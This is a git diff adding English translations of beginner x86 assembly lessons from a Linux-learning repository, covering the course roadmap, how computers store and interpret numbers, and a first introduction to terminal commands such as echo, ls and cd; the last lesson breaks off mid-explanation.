+| 6 | [06_ilk_gercek_program](./06_ilk_gercek_program.md) | Value into a register with `mov`, exit code, `echo $?` | A number on the screen: "8!" |
+| 7 | [07_gdb_tek_adim](./07_gdb_tek_adim.md) | Step one instruction at a time in GDB, watch the registers | "Write an instruction → see what changed" |
+| 8 | [08_mov_ve_bellek](./08_mov_ve_bellek.md) | Kinds of `mov`, `[...]` = the place the address in the box points to; first pointer tracking | First pointer intuition |
+| 8.5 | [08.5_little_endian](./08.5_little_endian.md) | Looking at memory byte by byte; the "exactly reversed" byte order (little-endian) | Byte-layout intuition |
+| 9 | [09_aritmetik](./09_aritmetik.md) | `add`, `sub`, `inc`, `dec` | A tiny calculator |
+
+### 🔀 Unit 2 — Flow: Making the Worker Decide
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 10 | [10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md) | Flags (ZF/SF...), `cmp`/`test` | "How the worker remembers a comparison" |
+| 11 | [11_ziplamalar](./11_ziplamalar.md) | `jmp`, `jz`, `jnz`, `jl`, `jg` | An "even or odd" program |
+| 12 | [12_donguler](./12_donguler.md) | A loop with a counter + conditional jump | Countdown from 10, sum of 1..N |
+| 13 | [13_bit_islemleri](./13_bit_islemleri.md) | `and`, `or`, `xor`, `shl`, `shr` | Why `xor eax, eax` means "zero out" |
+
+### 🧱 Unit 3 — Parts and the Operating System
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 14 | [14_stack](./14_stack.md) | `push`/`pop`, why the stack grows downward | The worker's "notepad" |
+| 15 | [15_call_ve_ret](./15_call_ve_ret.md) | Functions, return address, the `call`/`ret` duo | A reusable part |
+| 16 | [16_calling_convention](./16_calling_convention.md) | cdecl: giving data to a part, return value, prologue/epilogue | Calling "add(3,5)" |
+| 17 | [17_sistem_cagrilari](./17_sistem_cagrilari.md) | `int 0x80`, syscall numbers, text/input to the screen | A real "Hello World" |
+| 18 | [18_ilk_etkilesimli_program](./18_ilk_etkilesimli_program.md) | Put it all together | An asm program that asks your name and greets you |
+
+### 🌉 Unit 4 — The Bridge
+
+| # | File | What it teaches |
+|:---:|---|---|
+| 19 | [19_c_ile_assembly_koprusu](./19_c_ile_assembly_koprusu.md) | Compile a tiny C program, look at its asm, see familiar patterns |
+| 20 | [20_buradan_nereye](./20_buradan_nereye.md) | Moving to 64-bit, reverse engineering, exploitation and advanced resources |
+
+---
+
+## How Should You Study?
+
+1. **Don't break the order.** Even if Unit 0 feels boring, don't skip it — everything above it rests on it.
+2. **Run every instruction yourself.** Reading isn't enough; assembly is learned *with your fingertips*. Don't consider a lesson finished until you've written and run a program.
+3. **Watch it in GDB.** If you don't understand what an instruction does, step one at a time in GDB and **see with your own eyes** how the registers/memory change. (We'll set it up in Unit 1.) This is the most powerful learning tool of the whole course.
+4. **Go back when you're stuck.** A term you don't understand has almost always been explained in the *previous* lesson. Going back is normal.
+5. **Slow = fast.** Rushing and half-understanding will cost you double the time later.
+
+---
+
+## If Something Breaks
+
+Throughout this course, getting errors **is part of the job** — programming is already the "get an error, fix it" loop. When an instruction doesn't work, don't panic; most of the time it's a letter/number typo or a skipped step. In Unit 1 we'll also learn to "read the error message".
+
+---
+
+## 🔗 Next Step
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — continue from here. First we'll understand what the machine is; no code at all, we're just building the picture.
+
+> 🎯 **Where to after finishing the course?** This asm foundation is the direct preparation for the **[Binary Exploitation series](../binary_exploitation/00_buradan_basla.md)** (*bending* the flow of programs) in the same repo and for the OverTheWire wargames — first learn to *"give the worker orders"*, then learn to *"bend the order."*
+
+---
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md b/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md
new file mode 100644
index 0000000..3bd6eda
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md
@@ -0,0 +1,115 @@
+# 🎨 x86 Assembly — The Same Number, a Thousand and One Meanings
+
+> In 01 we said this: each box in the warehouse holds only a single number, and the worker plays only with numbers.
+> But then a very fair question arises: the cat video you're watching, the song you're listening to, that "A"
+> letter on your screen... where are they? If everything is 1s and 0s, how can a whole movie be nothing but a pile of numbers?
+> In this short interlude lesson we solve exactly that — and the answer, it turns out, was in our hands all along.
+
+> **No code here either.** This is a little "but wait, how does *that* work?"
+> break that comes right after 01. It'll be short; but by the end, the phrase "everything is a number" stops hanging in the air and lands on solid ground.
+
+---
+
+## 📋 Table of Contents
+
+- [A Number, on Its Own, Means Nothing](#a-number-on-its-own-means-nothing)
+- [So How Does That Cat Video Become a Number?](#so-how-does-that-cat-video-become-a-number)
+- [Does the Worker Understand This? No](#does-the-worker-understand-this-no)
+- [Same Issue: Address or Value?](#same-issue-address-or-value)
+
+---
+
+## A Number, on Its Own, Means Nothing
+
+I wrote a big **3** on a piece of paper and handed it to you. What does this 3 mean?
+
+You can't tell — because on its own it means nothing. Is it 3 apples? The 3rd floor of a building? Bus number 3? 3 o'clock? The paper itself doesn't know this; **you give it meaning according to the situation you're in.** The same "3" is a floor number in one place and an apple count in another.
+
+Here it is — the computer's deepest secret is this simple:
+
+> 🔑 A number's meaning lies **not in the digit itself, but in the intent of the code that reads it.** A box in memory might have `72` written in it. This 72 could be an ordinary number, or the letter `H`, or a shade of red, or a moment from a piece of music. The box doesn't know which one it is. **Whoever reads it, and for what purpose** — that's what determines its meaning.
+
+So when we said "everything is a number" we said something incomplete: the correct version is, **everything is a number, and what gives those numbers meaning is the code that uses them.** Now let's see this in the example you're most curious about.
+
+---
+
+## So How Does That Cat Video Become a Number?
+
+Let's start with a picture. Every image on the screen is actually made of **tiny dots** arranged like a grid. These dots are called **pixels** — if you look very closely at your screen (or with a magnifying glass) you can see these little squares.
+
+So how is a single pixel stored? With a few numbers: how **red**, how **green**, how **blue** that dot is. (By mixing these three colors you can get any color.) Each one is a number between 0 and 255:
+
+```
+ A single pixel = 3 numbers:
+
+ ┌─────┬─────┬─────┐
+ │ R │ G │ B │ ← how much Red / Green / Blue
+ │ 255 │ 0 │ 0 │ ← this example: a fully red dot
+ └─────┴─────┴─────┘ (each 0–255)
+```
+
+So that "red dot" you see is, in the machine's eyes, just three numbers: `255, 0, 0`. Line up thousands of pixels side by side and top to bottom — there you have a whole **image**, that is, a gigantic list of numbers. A **video** is then dozens of images (each one called a frame) shown one after another per second, plus its sound. Your cat video, at the very bottom, is nothing but millions of numbers.
+
+But how do these numbers become a colorful image in your eye? Here's the critical point:
+
+> 🔑 What turns the numbers into a picture is not the numbers themselves, but a piece of **hardware** that reads them. The screen is made of millions of tiny lights. A special part (the graphics card / display hardware) reads those pixel numbers in memory and lights up each light exactly according to that number. The hardware that sees "255, 0, 0" makes the light at that dot fully red. When millions of lights turn on correctly at the same time, you see a "cat."
+
+Sound follows exactly the same logic: a song is a list of numbers telling the speaker how much to be pushed at each moment — tens of thousands of numbers per second. A sound chip reads these numbers and moves the speaker; you hear the music.
+
+> 💡 Advanced note: Inside a video or music file these numbers are usually kept **compressed** (otherwise the files would be enormous). How that compression works is a whole topic of its own and not our concern. The only idea that matters for us is this: at the very bottom, everything is numbers that tell the "how much" of something (redness, loudness...); and what makes those numbers meaningful is the code or hardware that reads them.
+
+---
+
+## Does the Worker Understand This? No
+
+This is exactly the moment to recall the "very fast but very dumb worker" from 01. When the worker looks at memory and sees `72`, it doesn't say "ah, this is the letter `H`." The worker **understands nothing** — it knows neither picture, nor letter, nor music. It just carries out the current order in front of it: "take what's in that box," "add this to that," "put it there."
+
+So then who makes the "72 = H" agreement? **Programs** make it. A text program has agreed from the start that "let the number 72 represent the letter `H`" (this agreement is called *character encoding*; the best known is ASCII, which we'll see later). An image program has agreed that "every three numbers is the color of one pixel." The worker knows none of these agreements; it just carries, copies, adds.
+
+> 🔑 Meaning is a silent agreement between the code that **writes** a byte and the code that **reads** it. The worker is not part of this agreement — it applies the orders blindly, and the programs supply the meaning. That's why the same `72` can be a letter in one program's hands and a color in another's; there's no contradiction, because they're reading it with different agreements.
+
+---
+
+## Same Issue: Address or Value?
+
+Now let's go back and see that the confusing distinction from 01 is actually one face of this same principle.
+
+In 01 we said that an address (a box number) and a value (a box's contents) are different things. But both are, in the end, numbers. Say the worker has `5` in its pocket. Is this "they gave me **5 apples**" (a value), or "go to **box number 5**" (an address)?
+
+The worker looks at this 5 and **can't tell** — both are merely 5. Just like the 3 on the paper. Once again the **instruction** gives the answer: one order says "treat this 5 as a value, use it as it is"; another order says "treat this 5 as an address, go fetch box number 5." So the meaning of the 5 is not inside the 5, but in the intent of the order that uses it.
+
+> 💡 Advanced note: Later, when you learn the real syntax, you'll see that telling the machine "treat this number as an address" has a special mark (like square brackets). That mark is precisely the way to set up this agreement explicitly. The details are in [08_mov_ve_bellek](./08_mov_ve_bellek.md).
+
+It all comes down to one and the same sentence: **it's not the number that gives meaning, but the code that uses it.** Put this idea in your pocket — it'll serve you again and again in the rest of the course (especially on the topics of memory, pointers, and addresses).
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A number on its own is meaningless. Its meaning is set by the intent of the code that READS it.
+ - Like the "3" on paper: 3 apples, or 3rd floor? Depends on the situation. The computer is the same.
+☐ "Everything is a number" was an incomplete sentence; the correct one: everything is a number + the code gives those numbers meaning.
+☐ Image = pixels, grid by grid; each pixel = a few numbers (Red/Green/Blue, 0–255).
+ - Red dot = (255, 0, 0). A bunch of pixels = image. Images one after another + sound = video.
+☐ What turns the number into an image is not the number but the HARDWARE: the graphics card reads the numbers, lights the lights.
+ Sound is the same: numbers → sound chip → speaker.
+☐ The worker UNDERSTANDS nothing (01). Programs make the "72 = H" agreement; the worker just carries/processes.
+☐ Address or value? is the same issue: the INSTRUCTION says whether the 5 is a value or an address.
+☐ One sentence: it's not the number that gives meaning, but the code that uses it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — "Everything is a number" and the dumb worker idea; where this lesson was born
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The numbers themselves: bit, byte, 0–255, and hex
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the address/value distinction and the pointer get deeper
+
+---
+
+**Previous topic:** [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md)
+**Next topic:** [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md b/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md
new file mode 100644
index 0000000..0cff059
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md
@@ -0,0 +1,232 @@
+# 🧠 x86 Assembly — What a Computer Really Is
+
+> There is no magic inside a computer. There is a giant warehouse (memory), a few boxes in the worker's pocket (registers),
+> and, working on top of these boxes, a very fast but very dumb worker (the processor).
+> This worker does one single thing: read the next order on the list, carry it out **to the letter**, move on to the next.
+> The whole computer — your phone, your game console, the machine you opened this file on — is the story of these three parts.
+
+> **There is not a single line of code in this lesson.** We are only going to build up a picture in your head of what the machine is like.
+> This picture is the ground the rest of the course sits on. Don't rush; read it twice if you need to.
+
+---
+
+## 📋 Table of Contents
+
+- [A Computer Is Not Magic](#a-computer-is-not-magic)
+- [Part 1 — Memory: A Warehouse of Numbered Boxes](#part-1--memory-a-warehouse-of-numbered-boxes)
+- [Part 2 — Registers: The Boxes in the Worker's Pocket](#part-2--registers-the-boxes-in-the-workers-pocket)
+- [Part 3 — The Processor: A Very Fast, Very Dumb Worker](#part-3--the-processor-a-very-fast-very-dumb-worker)
+- [The Only Thing the Worker Does: Fetch → Do → Advance](#the-only-thing-the-worker-does-fetch--do--advance)
+- [What Is a Program?](#what-is-a-program)
+- [What Does "Running a Program" Mean?](#what-does-running-a-program-mean)
+- [Which Orders Does the Worker Understand? (A Small Preview)](#which-orders-does-the-worker-understand-a-small-preview)
+- [Why Does Such a Dumb Worker Work at All?](#why-does-such-a-dumb-worker-work-at-all)
+
+---
+
+## A Computer Is Not Magic
+
+For most people a computer is a box, with no idea of what spins inside it. You click, something happens; you type, letters appear on the screen. How? Unclear.
+
+Here is the truth: a computer is a machine that does **very simple things at an unbelievable speed.** The worker inside it does not "understand English," does not "think about what you want," is not "smart." It does just a handful of very primitive jobs — but **billions of times** per second. All the magic comes out of this speed and out of this simplicity piling up on itself.
+
+The goal of this lesson is to open the lid of that box and introduce you to the three parts inside. Once you have seen them, the question "how does a computer work?" will stop being mysterious.
+
+---
+
+## Part 1 — Memory: A Warehouse of Numbered Boxes
+
+Imagine: a giant warehouse whose end you cannot see. Inside it are **small boxes** lined up in rows. Each box has:
+
+- a **number** (it goes 0, 1, 2, 3, …),
+- and inside it sits a single **small number**.
+
+```
+ Number: 0 1 2 3 4 5 ...
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ Content: │ 72 │ │ 13 │ │ 0 │ │255 │ │ 42 │ │ 7 │ ...
+ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘
+```
+
+This warehouse is the computer's **memory** (in English *memory*, or RAM in common speech). All the data a program uses while it runs — the letters you type, the pixels of the image you open, your health in a game — are all numbers inside these boxes.
+
+Separate two words right now, because you'll need them everywhere:
+
+- A box's **number** = its **address** (*address*). "Box number 3" means "the box at address 3."
+- The **number inside** a box = its **value / contents**.
+
+> 🔑 Address and value are **different things.** "Box number 3" (address = 3) must not be confused with "the box with 255 written in it" (value = 255). This distinction is the spot people trip over most often later on — let it be clear right now: **address = where the box is, value = what's inside the box.**
+
+Each box is called a **byte**; a number between 0 and 255 fits inside it. (Why exactly 255? We'll see that in [03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md) — for now "a small number" is enough.)
+
+---
+
+## Part 2 — Registers: The Boxes in the Worker's Pocket
+
+The warehouse is huge but it has one problem: it's **far away.** Every time, it takes the worker a while to walk to the shelf and find the right box.
+
+That's why the worker has **a few special boxes** in the pockets of their apron. These are:
+
+- **very few in number** (a bit more than the fingers of one hand),
+- but reachable **instantly** — they reach out and grab; no walking to the shelf.
+
+```
+ WORKER
+ ┌───────────────┐
+ │ pocket boxes │ ← registers: few, but at light speed
+ │ [ EAX: 5 ] │
+ │ [ EBX: 0 ] │
+ │ [ ECX: 99 ] │
+ │ [ ... ] │
+ └───────────────┘
+ ⇕ (slow round trip)
+ ┌──────────────────────────────────────────┐
+ │ WAREHOUSE (memory): millions of boxes │
+ └──────────────────────────────────────────┘
+```
+
+These pocket boxes are called **registers**. The worker does almost all of the real work with these pocket boxes: it takes a number out of the warehouse and puts it in a pocket, plays with it in the pocket (adds, compares), then, if needed, puts the result back on the shelf in the warehouse.
+
+On the x86 processor each of these pocket boxes has a name: `EAX`, `EBX`, `ECX`, `EDX`, and a few more. Their names may look scary for now; in the coming units we'll get to know each one, one at a time, as the need arises. For now the only thing you need to know is: **register = the worker's boxes, few in number, reachable instantly.**
+
+> 💡 Why both a warehouse and pockets? Because there is a trade-off between speed and room: the pocket boxes are very fast but very few; the warehouse is very roomy but slow. The worker uses both together — it keeps the big data in the warehouse and pulls what it's about to work on into a pocket.
+
+---
+
+## Part 3 — The Processor: A Very Fast, Very Dumb Worker
+
+Now we've reached the main character: the **processor** (in English *CPU*, or *processor*). This is the thing we've been calling the "worker" above.
+
+This worker has two basic traits, and both are true at the same time:
+
+1. **It is incredibly fast.** It takes billions of tiny steps per second. A single blink of your eye is like a lifetime to it.
+2. **It is incredibly dumb.** It "understands" nothing. It doesn't know what you're trying to do, takes no initiative, doesn't say "you probably meant this." It only carries out **the current order** in front of it, exactly.
+
+The whole philosophy of assembly is hidden in this sentence:
+
+> 🔑 The worker is not smart; it is **obedient to the letter.** Whatever you tell it, it does exactly that — not more, not less, not some "well-meaning" interpretation. That's why writing a program = telling this worker, in a language it understands, **step by step** what to do.
+
+Picture a cook, but a cook who follows the recipe *word for word*, with no common sense at all. If the recipe says "crack the eggs," it throws them into the bowl shell and all — because you didn't write "peel off the shell." A computer is exactly this kind of cook. It seems maddening, but it's actually a **superpower**: you can know in advance exactly what will happen, because the worker never acts "on its own."
+
+---
+
+## The Only Thing the Worker Does: Fetch → Do → Advance
+
+So what exactly does this worker do? It repeats a single loop, without stopping, billions of times:
+
+```
+ ┌──────────────────────────────────────────┐
+ │ │
+ │ 1) FETCH: Read the next order │
+ │ 2) DO: Carry it out to the letter │
+ │ 3) ADVANCE: Move to the next order │
+ │ │
+ └──────────────┐ ▲──────────────┘
+ └──────────────┘
+ (repeat from the start)
+```
+
+That's all. The worker reads the order on the list, does it, moves on to the next; then reads again, does, moves on… This is called the **fetch-do-advance loop** (in English *fetch–execute cycle*). *Everything* the computer does — playing a movie, a game, showing this text — is this simple loop repeated billions of times, at a tremendous speed.
+
+> 💡 The worker also holds one more piece of information: "which line of the list am I on right now" — as if it keeps a finger on top of the line it's reading. Normally, after each order the finger slides down to the next line. But some orders can say "put your finger on this line" — that's exactly how decisions and loops happen. (This idea of "the line the finger rests on" will become very important later.)
+
+---
+
+## What Is a Program?
+
+Whatever that **list of orders** the worker reads is — that is what's called a **program**.
+
+A program is a **to-do list** made of instructions written in order from start to finish:
+
+```
+ Line 1: put 5 in box EAX
+ Line 2: put 3 in box EBX
+ Line 3: add EBX to EAX (now EAX = 8)
+ Line 4: tell the OS "I'm done, my result is in EAX"
+```
+
+The worker reads this list top to bottom, doing each line to the letter. The four lines above are a real program too — we've just written it in plain language so far. In the coming units we'll learn to translate it into the language the worker actually understands (assembly). What matters right now is the idea: **program = the list of orders given to the worker, carried out in order.**
+
+> ⚠️ Underline the word "in order." The worker processes the lines **one by one, in sequence.** By the time the third line runs, the first and second are long finished. This sequentiality is the backbone of programming — get used to thinking "first this happens, then that."
+
+> 💡 **You might be wondering:** *"If the worker does everything in order, how am I listening to music and browsing the internet at the same time?"* Two things are true at once: (1) the worker is so fast that a **manager** (the operating system) shuffles it between programs thousands of times per second — "a bit of Spotify, a bit of the mouse, a bit of the browser…" — and because of this speed it feels to you as if everything is happening at the same time. (2) On modern machines there is actually not one worker but **several workers** (cores/*core*); some jobs really do happen at the same time. When writing code we'll still think in terms of one worker + one list, because what matters is that single flow; multitasking is handled "up top," by the manager.
+
+---
+
+## What Does "Running a Program" Mean?
+
+"Running a program" might sound like a fancy phrase, but its meaning is very simple:
+
+> You put your list of orders into memory (the warehouse), you tell the worker "start from this line," and the worker begins carrying out your list from start to finish with the fetch-do-advance loop.
+
+So a running program = **the worker reading and doing your list.** When the program ends (or says "I'm done"), the worker stops and hands control back to the operating system.
+
+One extra term: a program that has been loaded into memory and is **currently running** is called a **process**. So "program" is the recipe sitting on disk; "process" is that recipe in its state of being cooked in the kitchen right now. You'll experience this distinction with your own hands in [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md).
+
+---
+
+## Which Orders Does the Worker Understand? (A Small Preview)
+
+The worker recognizes only a **handful** of orders — and the surprising thing is that all software is built from combinations of this handful of orders. We're not learning syntax yet; let's just take a look at the *kinds* so we know where we're heading:
+
+| Kind of order | In plain words | Which lesson |
+|---|---|---|
+| **Move** | "Put this number in that box," "take what's in that box over here" | [08_mov_ve_bellek](./08_mov_ve_bellek.md) |
+| **Compute** | "Add / subtract these two" | [09_aritmetik](./09_aritmetik.md) |
+| **Compare** | "Are these two numbers equal? greater?" | [10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md) |
+| **Jump** | "Go to this line of the list" (decisions, loops) | [11_ziplamalar](./11_ziplamalar.md) |
+| **Call a part** | "Run this section of the list, then come back here" | [15_call_ve_ret](./15_call_ve_ret.md) |
+| **Call out to the OS** | "Operating system, print this to the screen / read this" | [17_sistem_cagrilari](./17_sistem_cagrilari.md) |
+
+As you can see, the list is short. All the programs a person uses in their whole life — that's just this handful of primitive orders, lined up billions of times, in the right sequence. And that's the beauty of it: from a small number of simple parts, unlimited complexity.
+
+Just to satisfy your curiosity, here's a glimpse of how the order "put 5 in box EAX" looks in real assembly (don't memorize it yet, just see it):
+
+```
+mov eax, 5
+```
+
+That's it. The way to say "put 5 in EAX" to the machine. In the coming units we'll write this and **run** it, and we'll see that 5 on the screen with `echo $?`.
+
+---
+
+## Why Does Such a Dumb Worker Work at All?
+
+We've been saying "dumb worker" all along; this sounds like a flaw. Actually it gives two big **advantages**:
+
+1. **Predictability.** Because the worker never improvises, you can know **for certain** what a program will do. There is no "did it maybe mean this?"; whatever you wrote is what happens. This is what makes hunting for bugs (and, later, understanding security holes) possible.
+2. **Speed.** Because the worker doesn't "think," and only carries out simple orders, it can be incredibly fast. Intelligence is slow; dumb but fast execution, when piled up, does everything.
+
+> 🔑 In short: a computer's power comes not from its intelligence but from **repeating simple jobs flawlessly and at a dizzying speed.** You give it the right list; it carries out the list with flawless loyalty. Programming is the craft of writing that list.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A computer is not magic: a warehouse + pocket boxes + a worker.
+☐ Memory (the warehouse) = numbered boxes; each box holds a number.
+ - The box's NUMBER = address. The box's INSIDE = value. (They're different!)
+☐ Register (pocket boxes) = the FEW boxes the worker reaches instantly (EAX, EBX...).
+☐ Processor (the worker) = very fast + very dumb; only does fetch → do → advance.
+☐ Program = a list of orders carried out in sequence (a to-do list).
+☐ Running = putting the list into memory and telling the worker "start." A running program = a process.
+☐ The worker understands a handful of orders: move, compute, compare, jump, call a part, call out to the OS.
+☐ Dumbness is not a flaw: it means predictability + speed.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — The course roadmap and how to study it
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — If "everything is a number," how does a cat video happen? Meaning comes from the code
+- [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md) — Where we'll talk to this worker from: the terminal
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — A closer look at the warehouse and pocket boxes
+
+---
+
+**Previous topic:** [00_buradan_basla.md](./00_buradan_basla.md)
+**Next topic:** [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md b/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md
new file mode 100644
index 0000000..00190a9
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md
@@ -0,0 +1,278 @@
+# 💻 x86 Assembly — Getting to Know the Terminal
+
+> Until now you've always talked to the computer by *clicking*: press an icon, a window opens.
+> The terminal, on the other hand, is where you give the computer orders by **typing** — not with the mouse, with the keyboard, one at a time.
+> At first it looks bare and intimidating; but it's actually the cleanest way to talk directly, without a middleman, to that "letter-for-letter obedient worker" from the previous lesson.
+> In this lesson, for the first time, we'll give it orders with our own hands.
+
+> **There is not a single line of assembly in this lesson.** We'll just get to know the terminal, type a few commands into it, and *see with our own eyes* what happens. The goal: to feel comfortable in front of the terminal. That comfort will be the foundation of everything later, when you write and run code.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is the Terminal? (And Why Not the Mouse?)](#what-is-the-terminal-and-why-not-the-mouse)
+- [How Do I Open the Terminal?](#how-do-i-open-the-terminal)
+- [The Anatomy of the Terminal: Type, Press Enter, Read](#the-anatomy-of-the-terminal-type-press-enter-read)
+- [Your First Order: `echo`](#your-first-order-echo)
+- [Where Am I? What's Here?](#where-am-i-whats-here)
+- [Make a Folder, Go Inside](#make-a-folder-go-inside)
+- [Create a File and Look Inside It](#create-a-file-and-look-inside-it)
+- [What Just Happened? (A Program or a Process?)](#what-just-happened-a-program-or-a-process)
+- [Did You Get an Error? Good.](#did-you-get-an-error-good)
+
+---
+
+## What Is the Terminal? (And Why Not the Mouse?)
+
+When you double-click an icon, what you're really telling the computer is: "run that program." You just say it **with the mouse**. The terminal is a window where you say the same thing **by typing**: you write a command, you press Enter, the computer does it.
+
+So why type when clicking is right there? Because:
+
+- **Precision.** With the mouse there's no "I meant that one"; whatever command you type is exactly what runs. This is the natural way to talk to the "letter-for-letter obedient worker" from the previous lesson.
+- **Power.** With a single line, you can instantly make it do work that would take minutes of fiddling with the mouse.
+- **Necessity.** Writing and running assembly, compiling code, tracing a program step by step — all of this is done from the terminal. So for this course the terminal isn't a choice, it's our home.
+
+> 💡 "Terminal", "console", "command line", "shell" — you'll hear all of them for more or less the same thing: that window where you give commands by typing. For now, don't worry about the fine differences between them.
+
+---
+
+## How Do I Open the Terminal?
+
+This course is entirely about **Linux** — our assembly tools (nasm, ld, gdb) live there. We won't be using Windows or macOS; we go straight through Linux.
+
+There are a few ways to open the terminal on Linux:
+
+- Find and open the application named **"Terminal"** (on some systems **"Console"**) among your applications.
+- Or the shortcut that works on most desktops: **`Ctrl + Alt + T`**.
+
+> 💡 If you don't have a working Linux yet, don't worry: we'll do the full setup of the environment and tools together, start to finish, in [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md). It's perfectly fine to get through this lesson just by **reading** for now, and to come back and try the commands yourself once you've set up the terminal.
+
+When you open it, what most likely appears is a dark-colored window with a few words in it and a small, blinking line. Don't be afraid — we'll figure it out in a moment.
+
+---
+
+## The Anatomy of the Terminal: Type, Press Enter, Read
+
+That first line you see in the terminal window is called the **prompt** (the command prompt). It's the line that says to you, "go ahead, type your order." Roughly, it looks like this:
+
+```
+kullanici@bilgisayar:~$ ▮
+```
+
+Piece by piece:
+
+```
+ kullanici → your username
+ @ → means "at"
+ bilgisayar → the name of the machine
+ ~ → the folder you're currently in (~ = your home folder)
+ $ → the "you can type a command here" mark
+ ▮ → the blinking cursor: the letters you type go here
+```
+
+You talk to the terminal in a single rhythm:
+
+```
+ 1) TYPE the command
+ 2) Press ENTER
+ 3) The computer runs the command, prints the result (the output)
+ 4) It gives you a new prompt: "go ahead, what's next?"
+```
+
+That's all. The blinking cursor is patient because it's waiting for you; there's no rush. If you type wrong, you can delete it before pressing Enter. Let's give it its first order.
+
+---
+
+## Your First Order: `echo`
+
+`echo` means "whatever I give you, write it back to the screen." It's the most harmless, most reassuring first command. Type this and press Enter:
+
+```
+echo Hello
+```
+
+What you'll see:
+
+```
+Hello
+```
+
+It worked! You told the computer something, and it did it letter for letter — no more, no less, just like that dumb-but-obedient worker. Print something else if you like:
+
+```
+echo i command the computer
+```
+```
+i command the computer
+```
+
+> 💡 This little moment matters: **you** made that text appear on the screen, without clicking anywhere with the mouse. That's the whole logic of the terminal — type, let it run, see the result.
+
+---
+
+## Where Am I? What's Here?
+
+The terminal is always standing **inside a folder** (just like you're standing in an open folder in a file manager, but invisibly). Two basic questions:
+
+**"Which folder am I in right now?"** → `pwd` (in English, *print working directory*)
+
+```
+pwd
+```
+```
+/home/kullanici
+```
+
+So right now you're in the home folder of the person named `kullanici`. (The `~` mark in the prompt was already telling you this.)
+
+**"What's in this folder?"** → `ls` (in English, *list*)
+
+```
+ls
+```
+```
+Documents Downloads Desktop Pictures
+```
+
+`ls` lists the files and folders in the folder you're in. In an empty folder it prints nothing — that's normal too, it means "there's nothing here."
+
+> 🔑 Keep in mind: in the terminal you are **always somewhere.** "Where am I?" `pwd`, "what's here?" `ls`. If you feel lost, these two are your compass.
+
+---
+
+## Make a Folder, Go Inside
+
+So we don't leave the course files scattered around, let's open a work folder for ourselves.
+
+**Create a folder** → `mkdir` (in English, *make directory*)
+
+```
+mkdir asm_dersi
+```
+
+It prints nothing to the screen — but the silence here means "okay, done." (The worker doesn't talk unnecessarily.) Check with `ls`, and now `asm_dersi` should show up.
+
+**Go inside the folder** → `cd` (in English, *change directory*)
+
+```
+cd asm_dersi
+```
+
+Now if you type `pwd` you'll notice you see `/asm_dersi` at the end — you went inside. If you want to go back out:
+
+```
+cd ..
+```
+
+`..` means "one folder up." With `cd` you move between folders like walking between the rooms of a building.
+
+> 💡 While typing a command, try writing the first few letters of a folder/file name and pressing **Tab** — the terminal completes the rest for you. It both speeds you up and prevents typos. (This is called *tab completion*; it'll be indispensable to you.)
+
+---
+
+## Create a File and Look Inside It
+
+While you're inside the `asm_dersi` folder, let's create a small note file:
+
+```
+echo "my first note" > not.txt
+```
+
+There are two new things here. First, the `"..."` quotes: they hold several words together as a single piece of text. In `echo Hello` there was no need since it was a single word (the three-word example above also worked without quotes); but when writing text to a file, quotes are the cleanest way of saying "all of these are one piece." Second, the `>` mark: normally `echo` would write the output **to the screen**; `>` instead means "write the output not to the screen, but **to that file**." So this line creates a file named `not.txt` with `my first note` written inside it. Nothing appears on the screen — the output went to the file now.
+
+If you type `ls` you'll see `not.txt`. So what's inside it? **To see the contents of a file** → `cat`:
+
+```
+cat not.txt
+```
+```
+my first note
+```
+
+There you go: you created a file and looked inside it — all from the keyboard.
+
+> ⚠️ Careful: `>` **wipes the file's contents and writes from scratch.** If `not.txt` is already full and you do `echo "..." > not.txt` again, the old content is erased. If you want to **append to the end** of the content, use a double `>>` instead of a single `>`. For now, just jot this down on the side.
+
+---
+
+## What Just Happened? (A Program or a Process?)
+
+Now let's go back and make a nice connection. `echo`, `ls`, `cat` — these are all actually **programs.** Small programs that sit on the disk and know how to do the job of "write to the screen", "list the folder", "show the file".
+
+What happens when you type `ls` and press Enter is the very picture from the previous lesson:
+
+```
+ 1) The operating system finds the program named "ls" on the disk
